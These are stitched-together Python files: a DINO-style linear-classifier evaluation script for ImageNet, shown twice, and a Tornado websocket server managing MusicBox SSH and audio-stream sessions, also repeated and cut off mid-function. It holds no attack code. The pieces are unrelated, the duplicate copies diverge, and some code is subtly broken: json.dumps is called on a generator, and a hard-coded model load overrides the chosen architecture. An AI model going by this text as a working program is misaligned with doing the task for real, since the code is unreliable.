args.avgpool_patchtokens) print(f"Accuracy of the network on the {len(dataset_val)} test images: {test_stats["acc1"]:.1f}%") return train_transform = pth_transforms.Compose([ pth_transforms.RandomResizedCrop(224), pth_transforms.RandomHorizontalFlip(), pth_transforms.ToTensor(), pth_transforms.Normalize((0.485, 0.456, 0.406), (0.229, 0.224, 0.225)), ]) dataset_train = datasets.ImageFolder(os.path.join(args.data_path, "train"), transform=train_transform) sampler = torch.utils.data.distributed.DistributedSampler(dataset_train) train_loader = torch.utils.data.DataLoader( dataset_train, sampler=sampler, batch_size=args.batch_size_per_gpu, num_workers=args.num_workers, pin_memory=True, ) print(f"Data loaded with {len(dataset_train)} train and {len(dataset_val)} val imgs.") # set optimizer optimizer = torch.optim.SGD( linear_classifier.parameters(), args.lr * (args.batch_size_per_gpu * utils.get_world_size()) / 256., # linear scaling rule momentum=0.9, weight_decay=0, # we do not apply weight decay ) scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, args.epochs, eta_min=0) # Optionally resume from a checkpoint to_restore = {"epoch": 0, "best_acc": 0.} utils.restart_from_checkpoint( os.path.join(args.output_dir, "checkpoint.pth.tar"), run_variables=to_restore, state_dict=linear_classifier, optimizer=optimizer, scheduler=scheduler, ) start_epoch = to_restore["epoch"] best_acc = to_restore["best_acc"] for epoch in range(start_epoch, args.epochs): train_loader.sampler.set_epoch(epoch) train_stats = train(model, linear_classifier, optimizer, train_loader, epoch, args.n_last_blocks, args.avgpool_patchtokens) scheduler.step() log_stats = {**{f'train_{k}': v for k, v in train_stats.items()}, 'epoch': epoch} if epoch % args.val_freq == 0 or epoch == args.epochs - 1: test_stats = validate_network(val_loader, model, linear_classifier, args.n_last_blocks, args.avgpool_patchtokens) print(f"Accuracy at epoch {epoch} of the network on the {len(dataset_val)} test images: {test_stats["acc1"]:.1f}%") best_acc = max(best_acc, test_stats["acc1"]) print(f'Max accuracy so far: {best_acc:.2f}%') log_stats = {**{k: v for k, v in log_stats.items()}, **{f'test_{k}': v for k, v in test_stats.items()}} if utils.is_main_process(): with (Path(args.output_dir) / "log.txt").open("a") as f: f.write(json.dumps(log_stats) + "\n") save_dict = { "epoch": epoch + 1, "state_dict": linear_classifier.state_dict(), "optimizer": optimizer.state_dict(), "scheduler": scheduler.state_dict(), "best_acc": best_acc, } torch.save(save_dict, os.path.join(args.output_dir, "checkpoint.pth.tar")) print("Training of the supervised linear classifier on frozen features completed.\n" "Top-1 test accuracy: {acc:.1f}".format(acc=best_acc)) def train(model, linear_classifier, optimizer, loader, epoch, n, avgpool): linear_classifier.train() metric_logger = utils.MetricLogger(delimiter=" ") metric_logger.add_meter('lr', utils.SmoothedValue(window_size=1, fmt='{value:.6f}')) header = 'Epoch: [{}]'.format(epoch) for (inp, target) in metric_logger.log_every(loader, 20, header): # move to gpu inp = inp.cuda(non_blocking=True) target = target.cuda(non_blocking=True) # forward with torch.no_grad(): if "vit" in args.arch: intermediate_output = model.get_intermediate_layers(inp, n) output = torch.cat([x[:, 0] for x in intermediate_output], dim=-1) if avgpool: output = torch.cat((output.unsqueeze(-1), torch.mean(intermediate_output[-1][:, 1:], dim=1).unsqueeze(-1)), dim=-1) output = output.reshape(output.shape[0], -1) else: output = model(inp) output = linear_classifier(output) # compute cross entropy loss loss = nn.CrossEntropyLoss()(output, target) # compute the gradients optimizer.zero_grad() loss.backward() # step optimizer.step() # log torch.cuda.synchronize() metric_logger.update(loss=loss.item()) metric_logger.update(lr=optimizer.param_groups[0]["lr"]) # gather the stats from all processes metric_logger.synchronize_between_processes() print("Averaged stats:", metric_logger) return {k: meter.global_avg for k, meter in metric_logger.meters.items()} @torch.no_grad() def validate_network(val_loader, model, linear_classifier, n, avgpool): linear_classifier.eval() metric_logger = utils.MetricLogger(delimiter=" ") header = 'Test:' for inp, target in metric_logger.log_every(val_loader, 20, header): # move to gpu inp = inp.cuda(non_blocking=True) target = target.cuda(non_blocking=True) # forward with torch.no_grad(): if "vit" in args.arch: intermediate_output = model.get_intermediate_layers(inp, n) output = torch.cat([x[:, 0] for x in intermediate_output], dim=-1) if avgpool: output = torch.cat((output.unsqueeze(-1), torch.mean(intermediate_output[-1][:, 1:], dim=1).unsqueeze(-1)), dim=-1) output = output.reshape(output.shape[0], -1) else: output = model(inp) output = linear_classifier(output) loss = nn.CrossEntropyLoss()(output, target) if linear_classifier.module.num_labels >= 5: acc1, acc5 = utils.accuracy(output, target, topk=(1, 5)) else: acc1, = utils.accuracy(output, target, topk=(1,)) batch_size = inp.shape[0] metric_logger.update(loss=loss.item()) metric_logger.meters['acc1'].update(acc1.item(), n=batch_size) if linear_classifier.module.num_labels >= 5: metric_logger.meters['acc5'].update(acc5.item(), n=batch_size) if linear_classifier.module.num_labels >= 5: print('* Acc@1 {top1.global_avg:.3f} Acc@5 {top5.global_avg:.3f} loss {losses.global_avg:.3f}' .format(top1=metric_logger.acc1, top5=metric_logger.acc5, losses=metric_logger.loss)) else: print('* Acc@1 {top1.global_avg:.3f} loss {losses.global_avg:.3f}' .format(top1=metric_logger.acc1, losses=metric_logger.loss)) return {k: meter.global_avg for k, meter in metric_logger.meters.items()} class LinearClassifier(nn.Module): """Linear layer to train on top of frozen features""" def __init__(self, dim, num_labels=1000): print('dim: ', dim) super(LinearClassifier, self).__init__() self.num_labels = num_labels self.linear = nn.Linear(dim, num_labels) self.linear.weight.data.normal_(mean=0.0, std=0.01) self.linear.bias.data.zero_() def forward(self, x): # flatten print('shape: ', x.shape) x = x.view(x.size(0), -1) # linear layer return self.linear(x) if __name__ == '__main__': parser = argparse.ArgumentParser('Evaluation with linear classification on ImageNet') parser.add_argument('--n_last_blocks', default=4, type=int, help="""Concatenate [CLS] tokens for the `n` last blocks. We use `n=4` when evaluating ViT-Small and `n=1` with ViT-Base.""") parser.add_argument('--avgpool_patchtokens', default=False, type=utils.bool_flag, help="""Whether ot not to concatenate the global average pooled features to the [CLS] token. We typically set this to False for ViT-Small and to True with ViT-Base.""") parser.add_argument('--arch', default='vit_small', type=str, help='Architecture') parser.add_argument('--patch_size', default=16, type=int, help='Patch resolution of the model.') parser.add_argument('--pretrained_weights', default='', type=str, help="Path to pretrained weights to evaluate.") parser.add_argument("--checkpoint_key", default="teacher", type=str, help='Key to use in the checkpoint (example: "teacher")') parser.add_argument('--epochs', default=100, type=int, help='Number of epochs of training.') parser.add_argument("--lr", default=0.001, type=float, help="""Learning rate at the beginning of training (highest LR used during training). The learning rate is linearly scaled with the batch size, and specified here for a reference batch size of 256. We recommend tweaking the LR depending on the checkpoint evaluated.""") parser.add_argument('--batch_size_per_gpu', default=8, type=int, help='Per-GPU batch-size') parser.add_argument("--dist_url", default="env://", type=str, help="""url used to set up distributed training; see https://pytorch.org/docs/stable/distributed.html""") parser.add_argument("--local_rank", default=0, type=int, help="Please ignore and do not set this argument.") parser.add_argument('--data_path', default='/path/to/imagenet/', type=str) parser.add_argument('--num_workers', default=4, type=int, help='Number of data loading workers per GPU.') parser.add_argument('--val_freq', default=1, type=int, help="Epoch frequency for validation.") parser.add_argument('--output_dir', default=".", help='Path to save logs and checkpoints') parser.add_argument('--num_labels', default=1000, type=int, help='Number of labels for linear classifier') parser.add_argument('--evaluate', dest='evaluate', action='store_true', help='evaluate model on validation set') args = parser.parse_args() eval_linear(args)
# Copyright (c) Facebook, Inc. and its affiliates. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os import argparse import json from pathlib import Path import sys import torch from torch import nn import torch.distributed as dist import torch.backends.cudnn as cudnn from torchvision import datasets from torchvision import transforms as pth_transforms from torchvision import models as torchvision_models import utils import vision_transformer as vits def eval_linear(args): utils.init_distributed_mode(args) print("git:\n {}\n".format(utils.get_sha())) print("\n".join("%s: %s" % (k, str(v)) for k, v in sorted(dict(vars(args)).items()))) cudnn.benchmark = True # ============ building network ... ============ # if the network is a Vision Transformer (i.e. vit_tiny, vit_small, vit_base) if args.arch in vits.__dict__.keys(): print('uses vit model') model = vits.__dict__[args.arch](patch_size=args.patch_size, num_classes=0) model = torch.hub.load('facebookresearch/dino:main', 'dino_vitb8') print(model) embed_dim = model.embed_dim * (args.n_last_blocks + int(args.avgpool_patchtokens)) print('Embed DIM: ', embed_dim) # if the network is a XCiT elif "xcit" in args.arch: print('uses xcit model') model = torch.hub.load('facebookresearch/xcit:main', args.arch, num_classes=0) embed_dim = model.embed_dim # otherwise, we check if the architecture is in torchvision models elif args.arch in torchvision_models.__dict__.keys(): print('uses torchvision model') model = torchvision_models.__dict__[args.arch]() embed_dim = model.fc.weight.shape[1] model.fc = nn.Identity() else: print(f"Unknow architecture: {args.arch}") sys.exit(1) model.cuda() model.eval() # load weights to evaluate print('loads backbone weights') utils.load_pretrained_weights(model, args.pretrained_weights, args.checkpoint_key, args.arch, args.patch_size) print(f"Model {args.arch} built.") linear_classifier = LinearClassifier(embed_dim, num_labels=args.num_labels) print('num labels: ', args.num_labels) linear_classifier = linear_classifier.cuda() linear_classifier = nn.parallel.DistributedDataParallel(linear_classifier, device_ids=[args.gpu]) # ============ preparing data ... ============ val_transform = pth_transforms.Compose([ pth_transforms.Resize(256, interpolation=3), pth_transforms.CenterCrop(224), pth_transforms.ToTensor(), pth_transforms.Normalize((0.485, 0.456, 0.406), (0.229, 0.224, 0.225)), ]) dataset_val = datasets.ImageFolder(os.path.join(args.data_path, "val"), transform=val_transform) val_loader = torch.utils.data.DataLoader( dataset_val, batch_size=args.batch_size_per_gpu, num_workers=args.num_workers, pin_memory=True, ) if args.evaluate: utils.load_pretrained_linear_weights(linear_classifier, args.arch, args.patch_size) test_stats = validate_network(val_loader, model, linear_classifier, args.n_last_blocks, args.avgpool_patchtokens) print(f"Accuracy of the network on the {len(dataset_val)} test images: {test_stats['acc1']:.1f}%") return train_transform = pth_transforms.Compose([ pth_transforms.RandomResizedCrop(224), pth_transforms.RandomHorizontalFlip(), pth_transforms.ToTensor(), pth_transforms.Normalize((0.485, 0.456, 0.406), (0.229, 0.224, 0.225)), ]) dataset_train = datasets.ImageFolder(os.path.join(args.data_path, "train"), transform=train_transform) sampler = torch.utils.data.distributed.DistributedSampler(dataset_train) train_loader = torch.utils.data.DataLoader( dataset_train, sampler=sampler, batch_size=args.batch_size_per_gpu, num_workers=args.num_workers, pin_memory=True, ) print(f"Data loaded with {len(dataset_train)} train and {len(dataset_val)} val imgs.") # set optimizer optimizer = torch.optim.SGD( linear_classifier.parameters(), args.lr * (args.batch_size_per_gpu * utils.get_world_size()) / 256., # linear scaling rule momentum=0.9, weight_decay=0, # we do not apply weight decay ) scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, args.epochs, eta_min=0) # Optionally resume from a checkpoint to_restore = {"epoch": 0, "best_acc": 0.} utils.restart_from_checkpoint( os.path.join(args.output_dir, "checkpoint.pth.tar"), run_variables=to_restore, state_dict=linear_classifier, optimizer=optimizer, scheduler=scheduler, ) start_epoch = to_restore["epoch"] best_acc = to_restore["best_acc"] for epoch in range(start_epoch, args.epochs): train_loader.sampler.set_epoch(epoch) train_stats = train(model, linear_classifier, optimizer, train_loader, epoch, args.n_last_blocks, args.avgpool_patchtokens) scheduler.step() log_stats = {**{f'train_{k}': v for k, v in train_stats.items()}, 'epoch': epoch} if epoch % args.val_freq == 0 or epoch == args.epochs - 1: test_stats = validate_network(val_loader, model, linear_classifier, args.n_last_blocks, args.avgpool_patchtokens) print(f"Accuracy at epoch {epoch} of the network on the {len(dataset_val)} test images: {test_stats['acc1']:.1f}%") best_acc = max(best_acc, test_stats["acc1"]) print(f'Max accuracy so far: {best_acc:.2f}%') log_stats = {**{k: v for k, v in log_stats.items()}, **{f'test_{k}': v for k, v in test_stats.items()}} if utils.is_main_process(): with (Path(args.output_dir) / "log.txt").open("a") as f: f.write(json.dumps(log_stats) + "\n") save_dict = { "epoch": epoch + 1, "state_dict": linear_classifier.state_dict(), "optimizer": optimizer.state_dict(), "scheduler": scheduler.state_dict(), "best_acc": best_acc, } torch.save(save_dict, os.path.join(args.output_dir, "checkpoint.pth.tar")) print("Training of the supervised linear classifier on frozen features completed.\n" "Top-1 test accuracy: {acc:.1f}".format(acc=best_acc)) def train(model, linear_classifier, optimizer, loader, epoch, n, avgpool): linear_classifier.train() metric_logger = utils.MetricLogger(delimiter=" ") metric_logger.add_meter('lr', utils.SmoothedValue(window_size=1, fmt='{value:.6f}')) header = 'Epoch: [{}]'.format(epoch) for (inp, target) in metric_logger.log_every(loader, 20, header): # move to gpu inp = inp.cuda(non_blocking=True) target = target.cuda(non_blocking=True) # forward with torch.no_grad(): if "vit" in args.arch: intermediate_output = model.get_intermediate_layers(inp, n) output = torch.cat([x[:, 0] for x in intermediate_output], dim=-1) if avgpool: output = torch.cat((output.unsqueeze(-1), torch.mean(intermediate_output[-1][:, 1:], dim=1).unsqueeze(-1)), dim=-1) output = output.reshape(output.shape[0], -1) else: output = model(inp) output = linear_classifier(output) # compute cross entropy loss loss = nn.CrossEntropyLoss()(output, target) # compute the gradients optimizer.zero_grad() loss.backward() # step optimizer.step() # log torch.cuda.synchronize() metric_logger.update(loss=loss.item()) metric_logger.update(lr=optimizer.param_groups[0]["lr"]) # gather the stats from all processes metric_logger.synchronize_between_processes() print("Averaged stats:", metric_logger) return {k: meter.global_avg for k, meter in metric_logger.meters.items()} @torch.no_grad() def validate_network(val_loader, model, linear_classifier, n, avgpool): linear_classifier.eval() metric_logger = utils.MetricLogger(delimiter=" ") header = 'Test:' for inp, target in metric_logger.log_every(val_loader, 20, header): # move to gpu inp = inp.cuda(non_blocking=True) target = target.cuda(non_blocking=True) # forward with torch.no_grad(): if "vit" in args.arch: intermediate_output = model.get_intermediate_layers(inp, n) output = torch.cat([x[:, 0] for x in intermediate_output], dim=-1) if avgpool: output = torch.cat((output.unsqueeze(-1), torch.mean(intermediate_output[-1][:, 1:], dim=1).unsqueeze(-1)), dim=-1) output = output.reshape(output.shape[0], -1) else: output = model(inp) output = linear_classifier(output) loss = nn.CrossEntropyLoss()(output, target) if linear_classifier.module.num_labels >= 5: acc1, acc5 = utils.accuracy(output, target, topk=(1, 5)) else: acc1, = utils.accuracy(output, target, topk=(1,)) batch_size = inp.shape[0] metric_logger.update(loss=loss.item()) metric_logger.meters['acc1'].update(acc1.item(), n=batch_size) if linear_classifier.module.num_labels >= 5: metric_logger.meters['acc5'].update(acc5.item(), n=batch_size) if linear_classifier.module.num_labels >= 5: print('* Acc@1 {top1.global_avg:.3f} Acc@5 {top5.global_avg:.3f} loss {losses.global_avg:.3f}' .format(top1=metric_logger.acc1, top5=metric_logger.acc5, losses=metric_logger.loss)) else: print('* Acc@1 {top1.global_avg:.3f} loss {losses.global_avg:.3f}' .format(top1=metric_logger.acc1, losses=metric_logger.loss)) return {k: meter.global_avg for k, meter in metric_logger.meters.items()} class LinearClassifier(nn.Module): """Linear layer to train on top of frozen features""" def __init__(self, dim, num_labels=1000): print('dim: ', dim) super(LinearClassifier, self).__init__() self.num_labels = num_labels self.linear = nn.Linear(dim, num_labels) self.linear.weight.data.normal_(mean=0.0, std=0.01) self.linear.bias.data.zero_() def forward(self, x): # flatten print('shape: ', x.shape) x = x.view(x.size(0), -1) # linear layer return self.linear(x) if __name__ == '__main__': parser = argparse.ArgumentParser('Evaluation with linear classification on ImageNet') parser.add_argument('--n_last_blocks', default=4, type=int, help="""Concatenate [CLS] tokens for the `n` last blocks. We use `n=4` when evaluating ViT-Small and `n=1` with ViT-Base.""") parser.add_argument('--avgpool_patchtokens', default=False, type=utils.bool_flag, help="""Whether ot not to concatenate the global average pooled features to the [CLS] token. We typically set this to False for ViT-Small and to True with ViT-Base.""") parser.add_argument('--arch', default='vit_small', type=str, help='Architecture') parser.add_argument('--patch_size', default=16, type=int, help='Patch resolution of the model.') parser.add_argument('--pretrained_weights', default='', type=str, help="Path to pretrained weights to evaluate.") parser.add_argument("--checkpoint_key", default="teacher", type=str, help='Key to use in the checkpoint (example: "teacher")') parser.add_argument('--epochs', default=100, type=int, help='Number of epochs of training.') parser.add_argument("--lr", default=0.001, type=float, help="""Learning rate at the beginning of training (highest LR used during training). The learning rate is linearly scaled with the batch size, and specified here for a reference batch size of 256. We recommend tweaking the LR depending on the checkpoint evaluated.""") parser.add_argument('--batch_size_per_gpu', default=8, type=int, help='Per-GPU batch-size') parser.add_argument("--dist_url", default="env://", type=str, help="""url used to set up distributed training; see https://pytorch.org/docs/stable/distributed.html""") parser.add_argument("--local_rank", default=0, type=int, help="Please ignore and do not set this argument.") parser.add_argument('--data_path', default='/path/to/imagenet/', type=str) parser.add_argument('--num_workers', default=4, type=int, help='Number of data loading workers per GPU.') parser.add_argument('--val_freq', default=1, type=int, help="Epoch frequency for validation.") parser.add_argument('--output_dir', default=".", help='Path to save logs and checkpoints') parser.add_argument('--num_labels', default=1000, type=int, help='Number of labels for linear classifier') parser.add_argument('--evaluate', dest='evaluate', action='store_true', help='evaluate model on validation set') args = parser.parse_args() eval_linear(args)
import abc import concurrent.futures import json import functools import logging import os.path from tornado.ioloop import IOLoop import tornado.websocket import tornado.template from . import instance_manager class Error(Exception): pass class Application(tornado.web.Application): def __init__(self): self._sc = SessionsController() base_path = os.path.dirname(os.path.abspath(__file__)) settings = dict( debug=True, template_path=os.path.join(base_path, "templates"), static_path=os.path.join(base_path, "media"), ) handlers = [ (r"/console", KeyboardHandler, dict(sc=self._sc)), (r"/", IndexHandler), (r"/list", ListHandler, dict(sc=self._sc)), (r"/watch_list", WatchListHandler, dict(sc=self._sc)), (r"/observe/(new|\d+)?", ObserveHandler, dict(sc=self._sc)), ( r"/media/(.*)", tornado.web.StaticFileHandler, dict(path=settings["static_path"]), ), ] tornado.web.Application.__init__(self, handlers, **settings) tornado.autoreload.add_reload_hook(self.stop) def stop(self): IOLoop.instance().add_callback(self._sc.stop) class SessionObserver(abc.ABC): @abc.abstractmethod def on_session_state_change(self, session, state): raise NotImplementedError() class KeyboardHandler(tornado.websocket.WebSocketHandler, SessionObserver): i = 0 _instance: instance_manager.MusicBox _session = None def check_origin(self, origin): return True def initialize(self, sc): self._instance = None self._sc = sc def open(self): # pylint: disable=arguments-differ self.__class__.i += 1 self.i = self.__class__.i logging.info("A keyboard connected: %d", self.i) self._session = self._sc.keyboard_connected(self) def on_close(self): logging.info("A keyboard disconnected: %d", self.i) self._sc.keyboard_disconnected(self) def on_message(self, message): logging.info("message from %s: %s", self.i, message) msg = json.loads(message) if msg["client_command"] == "keystrokes": self._sc.on_keystrokes(self._session) def on_session_state_change(self, session, state): if state == Session.RUNNING: host, port = session.get_ssh_hostport() resp = { "mode": "ssh", "ssh": { "host": host, "port": port, }, "audio": session.get_mp3_url(), } else: resp = { "mode": "idle", } logging.info("Sending ssh details to keyboard client: %s", str(resp)) self.write_message(json.dumps(resp)) class Session: IDLE, STARTING, RUNNING, FAILED, STOPPING = range(5) i = 0 def __init__(self, session_controller, hostname, keyboard=None): """Initializes a session object. Args: session_controller: reference to the parent controller. host: Current host name to use for constructing URLs. keyboard: Whether this session is initialized by a keyboard client. """ self.i = Session.i Session.i += 1 self._observers = [] self._keyboard = keyboard self._state = self.IDLE self._musicbox = instance_manager.MusicBox() self._session_controller = session_controller self._hostname = hostname def add_observer(self, observer: SessionObserver): self._observers.append(observer) observer.on_session_state_change(self, self._state) def remove_observer(self, observer): self._observers.remove(observer) def set_keyboard(self, keyboard: KeyboardHandler): self._keyboard = keyboard self._change_state(self._state) def _change_state(self, new_state): self._state = new_state for o in self._observers: o.on_session_state_change(self, new_state) if self._keyboard: self._keyboard.on_session_state_change(self, new_state) self._session_controller.on_session_state_change(self, new_state) async def start(self): self._change_state(self.STARTING) try: with concurrent.futures.ThreadPoolExecutor(max_workers=1) as e: await IOLoop.instance().run_in_executor( e, functools.partial(self._musicbox.start, hostname=self._hostname) ) except (Error, instance_manager.Error) as e: self._change_state(self.FAILED) raise Error(f"Failed to start session: {e}") from e self._change_state(self.RUNNING) async def stop(self): self._change_state(self.STOPPING) try: with concurrent.futures.ThreadPoolExecutor(max_workers=1) as e: await IOLoop.instance().run_in_executor(e, self._musicbox.stop) finally: self._change_state(self.IDLE) def get_state(self): return self._state def has_observers(self) -> bool: return len(self._observers) > 0 def has_keyboard(self): return self._keyboard is not None def get_mp3_url(self): return ( f"http://{self._musicbox.hostname}:{self._musicbox.mp3_port}/" "stream.mp3" ) def get_ssh_url(self): return ( f"http://{self._hostname}:{self._musicbox.webssh_port}/ssh/host/" + f'{self._musicbox.tidal_container.attrs['Config']['Hostname']}' + "?port=22" ) def get_ssh_hostport(self): return (self._musicbox.hostname, self._musicbox.ssh_port) def __del__(self): if self._state != self.IDLE: logging.warning("Destroying non-idle session") def to_dict(self): state_map = ["idle", "starting", "running", "failed", "stopping"] return { "id": self.i, "state": state_map[self._state], "kb": self.has_keyboard(), } class SessionsController: def __init__(self): self._sessions = {} self._keyboard_to_session = {} self._observer_to_session = {} self._list_watchers = [] def list_sessions(self): return self._sessions.values() def add_list_watcher(self, handler): self._list_watchers.append(handler) for s in self._sessions.values(): handler.on_session_add(s) def remove_list_watcher(self, handler): self._list_watchers.remove(handler) def on_keystrokes(self, session): for w in self._list_watchers: w.on_keystrokes(session) def add_session(self, session): self._sessions[session.i] = session for w in self._list_watchers: w.on_session_add(session) def remove_session(self, session): del self._sessions[session.i] for w in self._list_watchers: w.on_session_remove(session) def on_session_state_change(self, session, state): for w in self._list_watchers: w.on_session_state_change(session, state) async def start_observation(self, observer, session_id) -> Session: if session_id is None: session = Session( self, hostname=observer.request.host.split(":")[0], ) self.add_session(session) else: session = self._sessions[int(session_id)] session.add_observer(observer) self._observer_to_session[observer] = session if session.get_state() == Session.IDLE: await session.start() return session async def stop_observation(self, observer: SessionObserver): session = self._observer_to_session[observer] session.remove_observer(observer) del self._observer_to_session[observer] if not session.has_observers(): await session.stop() if not session.has_keyboard(): self.remove_session(session) def keyboard_connected(self, keyboard: KeyboardHandler) -> Session: session = Session(self, hostname=keyboard.request.host.split(":")[0]) session.set_keyboard(keyboard) self.add_session(session) self._keyboard_to_session[keyboard] = session return session def keyboard_disconnected(self, keyboard: KeyboardHandler): session = self._keyboard_to_session[keyboard] session.set_keyboard(None) del self._keyboard_to_session[keyboard] if not session.has_observers(): self.remove_session(session) async def stop(self): for session in list(self._sessions.values()): await session.stop() self.remove_session(session) class IndexHandler(tornado.web.RequestHandler): def get(self): self.render("index.html") class ListHandler(tornado.web.RequestHandler): _sc: SessionsController def initialize(self, sc): self._sc = sc def get(self): self.write( json.dumps( [ { "id": s.i, "kb": s.has_keyboard(), } ] for s in self._sc.list_sessions() ) ) class WatchListHandler(tornado.websocket.WebSocketHandler): def initialize(self, sc): self._sc = sc def open(self): # pylint: disable=arguments-differ self._sc.add_list_watcher(self) def on_close(self): self._sc.remove_list_watcher(self) def on_session_remove(self, session): self.write_message( json.dumps( { "command": "session_remove", "session": session.to_dict(), } ) ) def on_session_add(self, session): self.write_message( json.dumps( { "command": "session_add", "session": session.to_dict(), } ) ) def on_session_state_change(self, session, unused_state): self.write_message( json.dumps( { "command": "session_state", "session": session.to_dict(), } ) ) def on_keystrokes(self, session): self.write_message( json.dumps( { "command": "keystrokes", "keystrokes": { "session": session.to_dict(), }, } ) ) class ObserveHandler(tornado.websocket.WebSocketHandler): i = 0 def check_origin(self, origin): return True def initialize(self, sc): self._sc = sc self._session = None async def _start_observation(self, session_id): try: await self._sc.start_observation(self, session_id) except tornado.web.HTTPError: self.write_message( json.dumps( { "status": "unknown session", } ) ) except Error as e: logging.exception("Failed to start observation: %s", str(e)) def open(self, session_id): # pylint: disable=arguments-differ self.i = ObserveHandler.i ObserveHandler.i += 1 msg = f"Web {self.i} starting observation" if session_id != "new": msg += f" of session {session_id}" logging.info(msg) if session_id == "new": session_id = None IOLoop.instance().add_callback(self._start_observation, session_id) def on_close(self): logging.info("Web stopped observing: %d", self.i) IOLoop.instance().add_callback(self._sc.stop_observation, self) def on_message(self, message): logging.info("message from %s: %s", self.i, message) def on_console_close(self): logging.info("Observed console closed") self.write_message( json.dumps( { "status": "disconnected", } ) ) def on_session_state_change(self, session, state): if state == Session.RUNNING: self.on_connection_details( session, session.get_ssh_url(), session.get_mp3_url(), ) elif state == Session.STOPPING: self.write_message( json.dumps( { "id": session.i, "status": "disconnected", } ) ) elif state == Session.STARTING: self.write_message( json.dumps( { "id": session.i, "session": session.to_dict(), "status": "connecting", } ) ) elif state == Session.FAILED: self.write_message( json.dumps( { "id": session.i, "status": "error", } ) ) self.close() elif state == Session.IDLE: pass else: logging.error("Unexpected session state in WS handler: %s", state) def on_connection_details(self, session, ssh_url, mp3_url): resp = { "status": "connected", "ssh": { "url": ssh_url, }, "mp3": { "url": mp3_url, }, "session": session.to_dict(), } logging.info("Sending ssh details to web client: %s", str(resp)) self.write_message(json.dumps(resp))
import abc import concurrent.futures import json import functools import logging import os.path from tornado.ioloop import IOLoop import tornado.websocket import tornado.template from . import instance_manager class Error(Exception): pass class Application(tornado.web.Application): def __init__(self): self._sc = SessionsController() base_path = os.path.dirname(os.path.abspath(__file__)) settings = dict( debug=True, template_path=os.path.join(base_path, "templates"), static_path=os.path.join(base_path, "media"), ) handlers = [ (r"/console", KeyboardHandler, dict(sc=self._sc)), (r"/", IndexHandler), (r"/list", ListHandler, dict(sc=self._sc)), (r"/watch_list", WatchListHandler, dict(sc=self._sc)), (r"/observe/(new|\d+)?", ObserveHandler, dict(sc=self._sc)), ( r"/media/(.*)", tornado.web.StaticFileHandler, dict(path=settings["static_path"]), ), ] tornado.web.Application.__init__(self, handlers, **settings) tornado.autoreload.add_reload_hook(self.stop) def stop(self): IOLoop.instance().add_callback(self._sc.stop) class SessionObserver(abc.ABC): @abc.abstractmethod def on_session_state_change(self, session, state): raise NotImplementedError() class KeyboardHandler(tornado.websocket.WebSocketHandler, SessionObserver): i = 0 _instance: instance_manager.MusicBox _session = None def check_origin(self, origin): return True def initialize(self, sc): self._instance = None self._sc = sc def open(self): # pylint: disable=arguments-differ self.__class__.i += 1 self.i = self.__class__.i logging.info("A keyboard connected: %d", self.i) self._session = self._sc.keyboard_connected(self) def on_close(self): logging.info("A keyboard disconnected: %d", self.i) self._sc.keyboard_disconnected(self) def on_message(self, message): logging.info("message from %s: %s", self.i, message) msg = json.loads(message) if msg["client_command"] == "keystrokes": self._sc.on_keystrokes(self._session) def on_session_state_change(self, session, state): if state == Session.RUNNING: host, port = session.get_ssh_hostport() resp = { "mode": "ssh", "ssh": { "host": host, "port": port, }, "audio": session.get_mp3_url(), } else: resp = { "mode": "idle", } logging.info("Sending ssh details to keyboard client: %s", str(resp)) self.write_message(json.dumps(resp)) class Session: IDLE, STARTING, RUNNING, FAILED, STOPPING = range(5) i = 0 def __init__(self, session_controller, hostname, keyboard=None): """Initializes a session object. Args: session_controller: reference to the parent controller. host: Current host name to use for constructing URLs. keyboard: Whether this session is initialized by a keyboard client. """ self.i = Session.i Session.i += 1 self._observers = [] self._keyboard = keyboard self._state = self.IDLE self._musicbox = instance_manager.MusicBox() self._session_controller = session_controller self._hostname = hostname def add_observer(self, observer: SessionObserver): self._observers.append(observer) observer.on_session_state_change(self, self._state) def remove_observer(self, observer): self._observers.remove(observer) def set_keyboard(self, keyboard: KeyboardHandler): self._keyboard = keyboard self._change_state(self._state) def _change_state(self, new_state): self._state = new_state for o in self._observers: o.on_session_state_change(self, new_state) if self._keyboard: self._keyboard.on_session_state_change(self, new_state) self._session_controller.on_session_state_change(self, new_state) async def start(self): self._change_state(self.STARTING) try: with concurrent.futures.ThreadPoolExecutor(max_workers=1) as e: await IOLoop.instance().run_in_executor( e, functools.partial(self._musicbox.start, hostname=self._hostname) ) except (Error, instance_manager.Error) as e: self._change_state(self.FAILED) raise Error(f"Failed to start session: {e}") from e self._change_state(self.RUNNING) async def stop(self): self._change_state(self.STOPPING) try: with concurrent.futures.ThreadPoolExecutor(max_workers=1) as e: await IOLoop.instance().run_in_executor(e, self._musicbox.stop) finally: self._change_state(self.IDLE) def get_state(self): return self._state def has_observers(self) -> bool: return len(self._observers) > 0 def has_keyboard(self): return self._keyboard is not None def get_mp3_url(self): return ( f"http://{self._musicbox.hostname}:{self._musicbox.mp3_port}/" "stream.mp3" ) def get_ssh_url(self): return ( f"http://{self._hostname}:{self._musicbox.webssh_port}/ssh/host/" + f'{self._musicbox.tidal_container.attrs["Config"]["Hostname"]}' + "?port=22" ) def get_ssh_hostport(self): return (self._musicbox.hostname, self._musicbox.ssh_port) def __del__(self): if self._state != self.IDLE: logging.warning("Destroying non-idle session") def to_dict(self): state_map = ["idle", "starting", "running", "failed", "stopping"] return { "id": self.i, "state": state_map[self._state], "kb": self.has_keyboard(), } class SessionsController: def __init__(self): self._sessions = {} self._keyboard_to_session = {} self._observer_to_session = {} self._list_watchers = [] def list_sessions(self): return self._sessions.values() def add_list_watcher(self, handler): self._list_watchers.append(handler) for s in self._sessions.values(): handler.on_session_add(s) def remove_list_watcher(self, handler): self._list_watchers.remove(handler) def on_keystrokes(self, session): for w in self._list_watchers: w.on_keystrokes(session) def add_session(self, session): self._sessions[session.i] = session for w in self._list_watchers: w.on_session_add(session) def remove_session(self, session): del self._sessions[session.i] for w in self._list_watchers: w.on_session_remove(session) def on_session_state_change(self, session, state): for w in self._list_watchers: w.on_session_state_change(session, state) async def start_observation(self, observer, session_id) -> Session: if session_id is None: session = Session( self, hostname=observer.request.host.split(":")[0], ) self.add_session(session) else: session = 